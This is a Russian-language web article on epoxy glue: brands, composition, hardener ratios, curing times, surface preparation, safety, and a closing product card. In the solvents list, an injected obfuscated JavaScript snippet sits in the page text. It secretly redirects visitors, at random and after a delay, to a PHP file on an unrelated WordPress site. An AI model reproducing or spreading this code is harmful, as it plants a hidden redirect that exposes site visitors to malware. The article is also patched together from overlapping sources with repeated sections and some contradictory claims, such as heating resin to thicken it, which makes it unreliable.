Сколько сохнет эпоксидный клей после добавления отвердителя?

Распространенные марки

Сделаем небольшой обзор имеющихся на рынке марок как отечественного, так и импортного производства.

«Контакт». Используется в помещениях с высокой влажностью. Удобный герметик для труб, унитазов, ванной сантехники.
«Момент» от производителя Hankel. Несложно найти в хозяйственном и специализированном магазине для ремонта, поскольку достаточно популярен. В продаже есть емкости массой от 5 грамм. Надежное и универсальное в использовании средство.
«Супер-Хват». Представляет собой равнокомпонентный клей. Содержит минеральные усилители, повышающие крепость швов. Абсолютно универсален.
«Зубр». Состоящий из двух компонентов прозрачный состав. Нужен для заполнения пустот, трещин, сколов, восстанавливает первоначальный вид изделий.
«Класс». Схож с предыдущим описанием. Применяется при склейки металлов, сплавов. Незаменим в автомобильной отрасли, проклейки труб и раковин.
«Секунда». Название говорит само за себя. Для склейки необходимо всего 3 минуты.
«Новоколор эпоксидный универсал». Малая усадка, высокая степень адгезии идеальная для склеивания крупных трещин и сколов.
«Metal Bond». Средство схватывается в течение 5 мин с деревянной, пластиковой и иной поверхностью.
Компаунд К-153». Состав темного оттенка для состыковывания металлических составляющих находящимися в постоянном соприкосновении с влажной средой или продуктами нефтехимии.
«Ультима». Раствор для декоративных и облицовочных работ. Без него не обойтись при ремонте автомобилей, водных судов, бытовой техники и сантехники.
«Poxipol». Отвердевает за десять минут после замешивания компонентов, поэтому производить склейку нужно быстро.
«ЭДП». Соединяет разные материалы, начиная со стеклянных и заканчивая металлическими. Соответствует заявленной цене и качеству.
«Epoxy steel». Состав для любых основ из металла. Можно отнести к товарам авто химии, поскольку пригоден для ремонта машин.
«Done Deal». Раствор, продающийся в упаковке-шприце, образует полностью вакуумное соединение.
«BisonEpoxy 5min». Быстро полимеризующийся состав, обладающий высокой скорость схватывания.
«Abro». Пример «холодной сварки» для оснований из металла. Имеется в продажах в белых и черных цветах.
«Novo Plus710». Состоит из смолы с добавлением загустителя и стекловолокна. Может устранять большие сколы, дефекты и трещины.
«Uhu». Хорошо проявляет себя в качестве заливки. Так же соединяет материалы из пластмассы и металла.
«Дифенс-ЭК». Эпоксидный клей не подвержен химикатам, используется на производстве. Продается весом 10кг.
«Эпокси Титан». Равнокомпонентный клей, образующий ударопрочный клеевой шов. Купить можно в тубусах по 20мл,200мл и двух литровом ведерке.

Существующие разновидности

Центральный компонент клея – эпоксидная смола. Материал представляет собой синтетический олигомер, которые применяется без дополнительных веществ. Эпоксидная смола выступает незаменимым составляющим лакокрасочных и отделочных материалов. Консистенция смолы зависит от материала, частью которого выступает.

По составу

Рынок эпоксидных клеев представлен двумя группами:

однокомпонентной;
двухкомпонентной.

Однокомпонентный состав эпоксидного клея готов к склеиванию после распечатывания емкости для хранения. В состав, помимо эпоксидной смолы, входят органические растворители, предотвращающие полимеризацию. Однокомпонентный состав задействуется при склеивании мелких деталей, герметизации сантехнических швов и соединении труб. Еще одна сфера бытового применения – рукоделие. Нельзя хранить клей в открытом состоянии, т. к. он быстро высыхает, что и является недостатком однокомпонентного эпоксидного клея

Среди плюсов материала важно отметить:

многоразовое применение;
простота нанесения;
доступная цена;
простота хранения;
не токсичность;
прочность после полимеризации.

Застывание однокомпонентного состава происходит при комнатной температуре, поэтому не требуется приборов для нагревания. Двухкомпонентный состав поставляется в двух отдельных тюбиках. Один тюбик содержит вещество на основе эпоксидной смолы, а второй – отвердитель, выполняющий полимеризацию. Отвердитель выпускается в жидком или порошковом виде. Плюсами состава являются:

склеивание двух разных материалов;
прочность и эластичность соединения;
простота нанесения;
отсутствие вредных выделений.

Двухкомпонентный эпоксидный клей фиксирует детали из металла, древесины, пластика и стекла. Материалы комбинируются в любой последовательности, что не влияет на прочность склеивания

Соединение сохраняет эластичность, что важно при вибрационных нагрузках. Клей наносится небольшим шпателем или палочкой

Перед нанесением на поврежденный участок требуется смешивание двух компонентов. Требуется правильный расчет количества отвердителя, добавляемого к основному составу. Если будет излишек отвердителя, то «живучесть» раствора будет низкой, полимеризация происходит быстро, что усложняет склеивание. Недостаток отвердителя препятствует набору прочности, что приведет к ненадежному соединению деталей.

По консистенции

Клеи различаются не только по составу, но и по консистенции. В зависимости от вязкости клея выделяют:

гели;
жидкости;
пластичные массы.

Гель обладает меньшей текучестью, чем жидкость, поэтому его проще применять на участках с большими повреждениями. Клеи с гелевыми составами расходуются экономнее жидких составов. Глубокие повреждения нуждаются в интенсивной текучести состава для обволакивания места разрыва. Жидкие клеевые составы проще наносятся и самостоятельно покрывают обрабатываемый участок. Время полимеризации жидких клеев больше, чем у гелеобразных. Пластичные массы эпоксидных клеев представляют собой вещество, схожее с пластилином. Компоненты поставляются в отдельных упаковках или в одной. Если это одна упаковка, то отвердитель находится поверх эпоксидного компонента.

Для начала полимеризации отвердитель и эпоксидная часть тщательно разминаются руками. Компоненты смешиваются до однородной массы. После этого есть пятнадцать минут для нанесения клея на место повреждения. Другое название двухкомпонентных эластичных составов – холодная сварка. Пластичный клей подходит для склеивания деревянных, металлических и пластиковых поверхностей. Недостаток метода – выступающая масса клея после полимеризации.

Эпоксидный клей: виды

Эпоксидный клей систематизируют согласно 3 главным аспектам: согласно составу, густоты и методу затвердения. В зависимости от состава эпоксидная смола разделяется на одно и двукомпонентную.

Однокомпонентный суперклей эпоксидный включает в себя редкую смолу либо натуральный разжижитель со смолой. Структура готового варианта помещается в пузыречек и пред использованием не имеет необходимости в подготовке. Своего рода суперклей применяется с целью склеивания не очень больших элементов, изоляции. С целью отвердения клей не нужно заблаговременно греть, а определенные клеи «схватываются» под влиянием тепла.

Множество эпоксидных клеев издаются бинарными. Суперклей состоит из 2-ух упаковок. В одной находится пастообразная смола, а во 2-ой – субтильный либо порошковидный затвердитель. Компоненты объединяют и размешивают небольшим шпателем (как правило прилагается в наборе). Раствор клея эпоксидного бинарного необходимо использовать в процесс 1-2-х мин.. В ином случае структура потеряет собственные клеевые качества.

По густоте выделяют 2 вида клея: водянистые и пластичные.

Редкий суперклей — гель, выжимаемый с тюбика. Основное преимущество – практичность при склеивании предметов, быстрый процесс изготовления.

Пластичная масса похожа на обыкновенный материал и продается в трубчатых упаковках. С целью извлечения клея потребуется срезать массу, помятьи намочить водой. Готовый раствор можно использовать для работы.

Метод затвердевания клея находится в зависимости с используемого отвердителя. Составы, которые содержат водянистую эпоксидную смолу, ациклический полиам, пластификаторы и наполнители твердеют без нагрева – в процесс 24-72 часов, при температуре +20С. Тем не менее структурообразование аналогичных клеев длительнее. С целью увеличения прочностных подобные составы советуют в дополнение подвергать термообработке.

Информация на заметку: Полиуретановый герметик, Наливные 3D полы

Отличие эпоксидного клея от смолы

Основная разница между указанными материалами в том, что эпоксидка – полимер с отвердителем, а клей – масса со сложным составом. В последний входят разные модификаторы и наполнители. Также отличия нужно отметить по следующим признакам:

время застывания: клей начинает твердеть через указанное производителем время, повлиять на процесс нельзя, а полимеризация смолы может замедлиться или ускориться под влиянием физических факторов;
цвет: обычно оттенок смолы прозрачный и остается таким длительное время, а клей вначале выглядит аналогично, но после желтеет;
назначение: для чего применяют смолу, перечислить сложно (заливка, изготовление многих видов пластика, шпатлевок, покрытий, фигур), клеем же можно лишь ремонтировать разные изделия.

Сколько сохнет

Сколько сохнет эпоксидный клей, моментально определить не удастся. На процесс высыхания влияет множество факторов, в том числе температура окружающей среды, соотношение основных компонентов в составе, воздействие дополнительных факторов. Например, при смешивании эпоксидной смолы с большей долей отвердителя ускорится процесс высыхания. Также при дополнительном нагревании, скорость застывания увеличивается после схватывания клея. Чтобы клей быстрее высох и время высыхания сократилось, должна быть максимально повышена температура. Полное застывание определяется в зависимости от вида клея. «Холодная сварка» может отвердеть за 5-20 минут. Есть также эпоксидный универсальный класс клея типа ЭДП, который густеет через час, независимо от предпринятых действий, схватывается спустя 2 часа, а полностью застывает через сутки.

Инструкция по использованию эпоксидного клея

Для качественного склеивания деталей нужно точно выполнять рекомендации производителя смеси. В общих чертах такая инструкция выглядит так.

Подготовка основания. Оно зачищается наждачкой, очищается от загрязнений и пыли, обезжиривается. В домашних условиях для обезжиривания используются растворители.
Подготовка клеевого состава. Однокомпонентные смеси готовить не нужно. Двухкомпонентные смешиваются. Первой в емкость выдавливается эпоксидка, затем отвердитель. Пропорции должны быть точно соблюдены. Затем ингредиенты тщательно смешиваются.
Склеивание деталей. Состав аккуратно наносится на одну из соединяемых поверхностей. Вторая накладывается на нужное место и плотно прижимается. В таком положении детали фиксируются на 7-10 минут, после чего остается подождать несколько часов, чтобы клеящий состав набрал необходимую прочность.

Правила подготовки к заливке

Приготовление смоляного состава необходимо осуществлять в строгом соответствии с инструкцией, которая всенепременно прилагается к каждой заводской емкости. Отсутствие инструкции в комплекте ставит под сомнение качество самой смолы.

Огромную роль играют пропорции, которые необходимо соблюдать при смешивании. Обычное соотношение смолы к отвердителю – 10 к 1. В составах особого назначения пропорция может меняться от 5 к 1 до 20 к 1. Способы приготовления малого и большого объемов тоже имеют различия. Большой объем следует вначале хорошенько разогреть, в целях снижения вязкости. При этом стоит помнить, что повышение температуры на каждые 10 градусов Цельсия ускоряет процесс полимеризации в пару раз.

Прогревая смесь, нужно постоянно контролировать ее температуру. Если довести вещество до кипения, оно начнет мутнеть и пениться. Данный состав станет непригоден для работы. Посредством специальных разбавителей можно снизить вязкость массы. Однако, следует помнить, что даже минимальные дозы данных добавок (5-7%) могут значительно снизить клеящие качества.

Особо актуальной выглядит проблема очищения вещества от видимых примесей до ее нанесения. Поэтому, благоразумнее вообще не допускать появления пятен. Если же данная неприятность случилась, то лучше очистку проводить банальным механическим способом. Но он применим не для всех поверхностей. Применение специальных растворителей тоже может не обеспечить сохранность поверхностей. Можно также применять и замораживание, и разогрев. Но ни один из перечисленных способов не дает 100% гарантии полной очистки.

Состав

Смола и отвердитель – основные компоненты эпоксидного клея

Состав эпоксидного клея помимо непосредственно самой смолы включает в себя достаточно ёмкий коктейль самых разнообразных ингредиентов:

Отвердители

Пример подходящего отвердителя

Это не менее важный компонент рассматриваемого клеевого состава, чем сама смола, так как без него раствор не застынет должным образом, надёжно сковывая соединяемые элементы.

В этом качестве могут выступать:

Аминоамиды;
Полиамины;
Каучуки;
Смолы кремнийорганического типа;
Полиамиды;
Ангидриды кислот органического происхождения.

Растворители

Значение растворителя проистекает из его названия – это частичное растворение вязких веществ, в данном случае смолы.

В рассматриваемом случае подходят следующие варианты:

Ацетон;

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tona-600×450.jpg» alt=»Пример ацетона» width=»600″ height=»450″ /> Пример ацетона

Ксилол;

Пример ксилола

Спирты;

Уайт-спирит в бутылке

При этом доля растворителя должна составлять от 3-х до 5-и процентов от общего количества клеящего раствора.

Наполнители

Основная задача данной составляющей – придание веществу массы, структуры и дополнительных физических свойств. Кроме того некоторые наполнители могут играть ещё и роль стабилизаторов или даже отвердителей.

К данной категории составляющей части эпоксидных клеев относятся:

Вещества в порошкообразном состоянии, такие как сажа, окиси алюминия, ванадия и берилия, а также кремнезем;
Волокна стекла или углерода;
Ткани, выполненные из волокон синтетического происхождения.

Процентное соотношение наполнителей может составлять 50-300 процентов от всего количества «эпоксидки».

Полезные советы по хранению и удалению клея

Производитель рекомендует хранить состав в сухом месте, в вертикальном положении. Целостность упаковки не должна быть нарушена, иначе внутрь попадет воздух, что ухудшит качество клея. Хранить состав нужно только при комнатной температуре. Упакованная эпоксидка хранится от года до трех лет, но свойства ее со временем ухудшаются.

Работа с клеем предполагает использование защитных средств, поскольку отмыть его очень сложно. Пока состав еще жидкий, можно смыть его мыльной водой или ацетоном, если клей уже начинает полимеризоваться. Застывшую эпоксидку удалить очень сложно, можно попробовать такие методы:

Нагрев утюгом или феном. Под воздействием высоких температур клей размягчается и его легче удалить.
Замораживание хладагентом. После такой обработки состав делается хрупким и откалывается от поверхности.
Применение растворителей. Клей смачивают анилином, толуолом, этиловым спиртом и т.п. Через некоторое время отскабливают пятно.

Как обеспечить хорошую текучесть

Эпоксидный клей и эпоксидная смола для объемных и площадных заливок, при всей их разнице в составах (в клеи добавляют наполнители и разбавители), обладают таким великолепным качеством, как повышенная адгезия, то есть способность прилипать к склеиваемым материалам. Главное, обеспечить чистоту склеиваемых поверхностей от механических и химических загрязнений. Это достигается их механической обработкой перед склеиванием с помощью абразивной шкурки разной степени мелкости, а затем обезжиривания средствами, для этого берут ацетон или этиловый спирт. Ацетон можно также добавить с слишком густую смолу, но не более 1/20 части от ее объема, он снизит механическую прочность клеевого шва.

Но основным способом разжижить чрезмерно загустевший компаунд, или часть А, является его нагрев. Греют смолу с целью сделать ее более жидкой до введения в нее отвердителя, иначе есть риск получить твердый монолит еще до того, как захотите применить его для работы

Для этого стаканчик с отмеренным количеством смолы помещают в горячую воду, осторожно, чтобы не вызвать образования пузырьков воздуха, размешивают его палочкой, и только после равномерного прогрева добавляют туда отвердитель, причем отвердитель размешивают также осторожно

В продажу поступают смолы и отвердители, предусматривающие разную степень сцепки склеиваемых поверхностей и разную структуру и физические свойства смолы после отверждения. Пример, обувной клей на основе эпоксидных смол, которому для нормального функционирования в этом качестве не требуется жесткость структуры. Нужна гибкость, сколько раз а день обувь претерпевает циклы сгиб-разгиб, а для таких клеев пропорции смешивания основного состава А с отвердителем Б могут отличаться от указанных выше. Но информация об этом у сертифицированных клеев обязательно размещается или непосредственно на упаковке, или в приложенной распечатанной инструкции. Если ничего этого нет, перед вами подделка, такой эпоксидный материал лучше не брать.

Полезно узнать > Как развести эпоксидную смолу с отвердителем, какие должны быть пропорции

В инструкции также может быть размещены не жесткие нормы смешивания, а их зависимость от сроков годности, температуры окружающей среды, применения альтернативных видов отвердителя.

Состав эпоксидного клея

Эпоксидка считается универсальной. Она накрепко соединяет поверхности из различных материалов. Основной элемент клеящей массы — эпоксидная смола. Она способна проникать достаточно глубоко внутрь склеиваемых поверхностей, что обеспечивает прочное и долговечное соединение. Клей — это композиция из эпоксидной смолы и вспомогательных компонентов. Их характеристики представлены в таблице.

Доля вещества от массы сухой смолы	Вещество	Свойства
Отвердители	до 15%	Полиамины, аминоамиды, отвердители-модификаторы из полимеров и др.	Изменяют состояние вещества из геля в твердое, определяют прочность соединения
Растворители	3-5%	Кселол, различные спирты или ацетон	Увеличивают скорость затвердевания клея
Наполнители	от 50 до 300%	Порошковые (окиси металлов, алюминий, кремнезем), специальные ткани, волокна стеклянные или углеродные	Определяют характеристики материала, могут работать отвердителями и/или стабилизаторами
Пластификаторы	до 30%	Эфиры фосфорной или фталиевой кислот	Определяют физические и механические характеристики смеси

Ассортимент эпоксидных клеев очень широк, в них присутствуют описанные ингредиенты в разных пропорциях и комбинациях.

Подготовительные работы для нанесения эпоксидной смолы

Чтобы правильно нанести на поверхность клей, надо разобраться с особенностями проведения подготовительных работ.

Необходимые материалы и инструменты

Сначала надо приготовить все инструменты и материалы, которые будут использоваться во время работы:

тазик, ведро или другая емкость, в которой будет размешиваться эпоксидный клеевой раствор;
эпоксидная смола;
отвердитель;
кисть или валик для нанесения приготовленной смеси на поверхность.

Соотношение смолы и отвердителя

Недостаточное или избыточное количество отвердителя может негативно сказаться на свойствах клея, и поэтому надо соблюдать пропорции при создании раствора. Если правильно смешать компоненты, получится качественная смесь, которая устойчива к сырости и влаге.

Расход на 1м2

Точно определить расход смолы непросто, так как он зависит от целей ее использования. Также на расход влияют особенности обрабатываемых поверхностей. Они могут быть шероховатыми, впитывающими и пористыми. Специалисты рекомендуют наносить на поверхность минимальное количество раствора. В среднем на квадратный метр расходуют по 250-350 грамм клеящего состава.

Как замешать рабочий раствор

Прежде чем смешивать компоненты, надо разобраться, как их правильно разбавить. Сначала надо разогреть смолу, чтобы она стала более густой. Для этого ее на 5-10 минут помещают в емкость с нагретой водой. Затем смолу добавляют в отвердитель и тщательно размешивают 2-3 минуты.

Особенности применения эпоксидного клея для разных поверхностей

Эпоксидные клеи превосходно склеивают различные поверхности, а будущая склейка не теряет надежности и прочности при любой температуре. Но есть некоторые особенности работы с эпоксидкой при склеивании некоторых поверхностей.

Для керамики

Эпоксидный состав поможет надежно скрепить поломки или повреждения керамических изделий. Предварительно все части керамики обезжириваются. Поверхности их обрабатываются клеем и присоединяются на место. При склейке стеклянных изделий необходимо постараться собрать даже мелкие осколочки. Для работы лучше использовать прозрачную субстанцию, предварительно добавив в нее определенный красящий пигмент – в этом случае места склейки будут незаметными.

Для бетона

При работе с бетонными поверхностями используются специализированные составы, например, замазки Церезит (в состав входит специализированный пластификатор). Эти субстанции придают поверхности дополнительную водонепроницаемость, а сами изделия после ремонта могут эксплуатироваться при различных температурах. А благодаря пластификатору период применения готовой массы можно растянуть по времени.

Для металла

Главное при работе с металлическими поверхностями – это полное обезжиривание рабочих поверхностей. Эпоксидка активно применяется современными автомобилистами. Клей помогает в быстром ремонте и позволяет водителю без проблем добраться до ближайшей мастерской техобслуживания. Эпоксидные компаунды используют и как шпаклевку при ремонте кузовных частей.

Для пластика

Если рабочая поверхность пластиковых частей гладкая, ее предварительно обрабатывают наждачкой для получения шероховатости. В этом случае склейка будет особо прочной и надежной. После нанесения клеящей композиции детали крепко соединяют и для лучшей сцепки прихватывают струбцинами.

Клей может работать с пластиком, деревом и прочими материалами

Техника безопасности

Когда завершится процесс полимеризации, то вещество не будет отличаться вредностью для организма. Но жидкий вид требует соблюдения техники безопасности, из-за токсичности вещества.

По этой причине мастер обеспечивает себе защиту. Одевается защитная одежда, перчатки и респиратор. Если будут шлифовать поверхность, то глаза защищаются очками. В комнате должен быть хороший тип вентиляции.

В комнате должен быть хороший тип вентиляции.

Эпоксидная смола выделяется своими прочностными характеристиками и стойкостью ко многим вредным факторам, которым подвергается основание. Она применяется давно, и выбирается для многих областей. Необходимо выбирать качественные составы, чтобы получить хороший результат, также требуется соблюдать технологию работы. Токсичность первоначального вида смолы требует соблюдения мер безопасности, которые были описаны ранее.

Где используют эпоксидные композиции

Строительная область. Эпоксидный клей – незаменимый атрибут для соединений конструкций моста из железобетона, многослойных панелей. Эпоксидная продукция отлично заполняет трещины в бетоне и является отличным средством для склеивания плитки, бетона.
Машиностроение. Эпоксидный клей используется в производстве абразивного инструмента, он применяется в процессах крепления тормозных колодок. С его помощью соединяют пластмассовые детали и металлические поверхности. Без эпоксидных средств не обходится трудоемкий ремонт бензобака и других частей автомобиля: коробок передач, обшивок, кузова транспортного средства.
Авиаконструирование. Сборка летательных аппаратов также не обходится без эпоксидного состава: с его помощью создают клеесварные стыки, он используется в сфере создания солнечных батарей. Эпоксидный клей облегчает фиксацию внутренней и наружной теплозащиты.
Судостроение. Эта отрасль также не игнорирует использование эпоксидного клея. С его помощью собирают суда из стеклопластика, он задействуется в монтажных работах, касающихся высоконагруженных узлов крепления. Особенности состава средства позволяют создавать с его участием водонепроницаемый барьер, поддерживающий стабильную влажность. Составом с эпоксидным раствором и стеклотканным армированием обрабатывают корпуса яхт.
Бытовое использование. Универсальные свойства эпоксидки делают это средство востребованным в быту. Этот клей возвращает функциональность расклеившейся обуви, он может придать второе дыхание мебели. Его используют в творчестве: создание сувениров не мыслится без использования составов, наделенных клеящимися свойствами.

Преимущества и недостатки

Чтобы получить сбалансированный раствор производитель рекомендует добавлять второй компонент в соотношении 1:10. Все виды клея допускают увеличение концентрации отвердителя до 1:5, поэтому при комплектовании изделия для реализации обычно отвердителя добавляют с некоторым запасом, чтобы у пользователя имелся резерв.

Работа с эпоксидным клеем требует специальной подготовки поверхностей для склеивания. Их очищают от пыли, удаляют влагу. Обезжиривают поверхности, на которые в дальнейшем предстоит нанесение состава.

Приведение в рабочее состояние

Есть один способ длительно хранить готовую смесь. Ее охлаждают до температуры 0…3 °С, а затем помещают в полиэтиленовый пакет. Кладут в холодильник. В таком состоянии можно хранить несколько недель. Только следует помнить, что прочность сохраненного подобным образом эпоксидного клея снижается. Чтобы прочностные свойства соответствовали свежему раствору, нужно нагреть до температуры более 50 °С.

Основным преимуществом эпоксидки большинство считают ее всеядность. Она склеивает самые разнородные вещества между собой. Попутно отмечают следующие свойства:

при склейке формируется шов, который в дальнейшем не изменяет объем (нет усадки);
не образуются трещины – это следствие эластичности внутри полимера;
высокая адгезия к большинству природных и искусственных материалов;
инертность к агрессивным химическим растворителям, не боится щелочей и масел;
сохраняет проточность при нагревании до + 300…350 °С;
не боится охлаждения до – 40 °С;
готовые стыки можно обрабатывать с помощью разных инструментов, можно выполнять сверление, шлифовать и срезать слой режущими инструментами;
готовый слой клея можно окрашивать или покрывать лаком;
эпоксидная смола не проводит электрический ток, используют в качестве диэлектрика;
процесс полимеризации происходит не только в верхнем слое, он идет во всей массе, отверждение равномерное во всех направлениях;
добавляя наполнители, можно получать универсальные клеящие смеси;
шов клеевого слоя не пропускает влагу;
на открытом воздухе не разрушается, даже УФ излучение неопасно для данного клея;
при наполнении фрикционными наполнителями можно использовать в системах скольжения.

Конечно, есть и недостатки. Их немного:

перед применением нужно перемешивать ингредиенты;
соблюдать технику безопасности;
соблюдать пропорции;
работать довольно быстро, чтобы успевать использовать всю перемешанную массу.

ЛКМФЛОТ

Код: 100970347

Категория:Клеи Бренд:Момент Фасовка:0,014 Упаковка:1 Двухкомпонентный эпоксидный клей Момент Супер Эпокси Формула 1

ОПИСАНИЕ: Для быстрого и надежного склеивания металлов, дерева, ткани, глиняной посуды, фарфора, хрусталя, стекла, жемчуга, кости, драгоценных камней, различных пластиков (полиэстер, бакелит, твердый полистирол, акриловое стекло и т.д.). Не применяется для склеивания полиэтилена, тефлона, силикона, полипропилена.

СОСТАВ: Компонент А: эпоксидная смола, модифицирующие добавки. Компонент Б: отвердитель на основе полимеркаптана, модифицирующие добавки. Не содержит растворителей.

ОСНОВНЫЕ СВОЙСТВА: Твердеет за 1 минуту, технология холодной сварки, обладает уникальной насадкой-миксером с технологией внутреннего смешивания, подходит для большинства материалов, устойчив к вибрации, воде, температуре.

ХРАНЕНИЕ: Рекомендуется хранить в оригинальной упаковке при температуре от плюс 5°C до плюс 30°C. Запрещается хранить вместе с пищевыми продуктами.

СТРАНА ПРОИЗВОДИТЕЛЬ: Испания

УКАЗАНИЯ ПО ПРИМЕНЕНИЮ: Обрезать конец носика двойного шприца. Навинтить насадку-миксер. Нанести смесь на обе поверхности. Соединить склеиваемые части и зафиксировать на 24 часа. Излишки клея убрать немедленно. Носик шприца очистить тканью и плотно закрыть специальным колпачком. Свежие пятна клея удаляются растворителем или ацетоном, засохшие — только механически.

РАБОЧЕЕ ВРЕМЯ ПОСЛЕ СКЛЕИВАНИЯ: около 1 минуты при температуре плюс 20°C. Склеенные детали можно обрабатывать через 5-8 часов при температуре плюс 20°C.

ВРЕМЯ ОКОНЧАТЕЛЬНОГО ВЫСЫХАНИЯ: 24 часа при температуре плюс 20°C. При увеличении (до плюс 70°C) и уменьшении все временные периоды увеличиваются или уменьшаются соответственно.

МЕРЫ ПРЕДОСТОРОЖНОСТИ: Работы проводить в хорошо проветриваемом помещении. Пользоваться защитными перчатками

Избегать контакта с кожей рук и глазами. При попадании на кожу рук или в глазатщательно промыть водой с мылом. Если раздражение не проходит, обратиться к врачу. Беречь от детей! Не применять для склеивания изделий, контактирующих с пищевыми продуктами. Вреден для водных организмов. Избегать попадания в окружающую среду. По истечении срока годности остатки продукта утилизировать как бытовые отходы.

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ: Цвет: Прозрачный в тонком слое, не желтеет после высыхания. Запах: Отсутствует Температура нанесения: от +10°C до +30°C Термостойкость шва: от -30°C до +150°C (до +60°C при высокой нагрузке на склеенные детали) Устойчивость к воздействию влаги: хорошая Заполнение зазоров: хорошее

УПАКОВКА: Шприц 14 мл

СРОК ГОДНОСТИ: 18 месяцев